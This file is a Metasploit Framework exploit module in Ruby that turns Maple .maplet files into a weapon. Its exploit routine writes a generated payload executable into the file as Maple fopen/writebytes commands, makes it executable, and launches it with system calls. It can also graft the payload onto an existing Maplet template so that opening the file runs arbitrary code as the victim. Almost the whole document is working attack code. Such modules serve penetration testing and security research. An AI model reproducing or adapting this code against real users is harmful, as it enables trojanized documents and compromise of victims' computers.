##
# $Id: maple_maplet.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Maple Maplet File Creation and Command Execution',
'Description' => %q{
This module harnesses Maple's ability to create files and execute commands
automatically when opening a Maplet. All versions up to 13 are suspected
vulnerable. Testing was conducted with version 13 on Windows. Standard security
settings prevent code from running in a normal maple worksheet without user
interaction, but those setting do not prevent code in a Maplet from running.
In order for the payload to be executed, an attacker must convince someone to
open a specially modified .maplet file with Maple. By doing so, an attacker can
execute arbitrary code as the victim user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'scriptjunkie'
],
'Version' => '$Revision: 10394 $',
'References' =>
[
[ 'OSVDB', '64541'],
[ 'URL', 'http://www.maplesoft.com/products/maple/' ]
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => '',
'DisableNops' => true,
# 'Compat' =>
# {
# 'PayloadType' => 'cmd',
# 'RequiredCmd' => 'generic perl telnet',
# }
},
'Targets' =>
[
[ 'Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Windows X64',
{
'Arch' => ARCH_X86_64,
'Platform' => 'win'
}
],
[ 'Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Linux X64',
{
'Arch' => ARCH_X86_64,
'Platform' => 'linux'
}
],
['Universal CMD',
{
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'win', 'linux']
}
]
],
'DisclosureDate' => 'Apr 26 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TEMPLATE', [ false, 'The file to infect.', '']),
OptString.new('FILENAME', [ true, 'The output file.', 'msf.maplet']),
], self.class)
end
def exploit
cmd = ''
content = ''
if target['Arch'] != ARCH_CMD
#Get payload as executable on whatever platform
binary = generate_payload_exe
#Get filename and random variable name for file handle in script
fname = rand_text_alpha(3+rand(15))
if target['Platform'] == 'win'
fname << ".exe"
end
fhandle = rand_text_alpha(3+rand(15))
#Write maple commands to create executable
content = fhandle + " := fopen(\"#{fname}\",WRITE,BINARY);\n"
exe = binary.unpack('C*')
content << "writebytes(#{fhandle},[#{exe[0]}"
lines = []
1.upto(exe.length-1) do |byte|
if(byte % 100 == 0)
lines.push "]);\r\nwritebytes(#{fhandle},[#{exe[byte]}"
else
lines.push ",#{exe[byte]}"
end
end
content << lines.join("") + "]);\r\n"
content << "fclose(" + fhandle + ");\n"
#Write command to be executed
if target['Platform'] != 'win'
content << "system(\"chmod a+x #{fname}\");\n"
end
content << "system[launch](\"#{fname}\");\n"
else
content << "system(\"#{payload.encoded}\");\n"
end
#Then put the rest of the original maplet
if datastore['TEMPLATE'] != ''
File.open(datastore['TEMPLATE'], 'rb') do |fd|
content << fd.read( File.size(datastore['TEMPLATE']) )
end
end
# Create the file
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(content)
end
end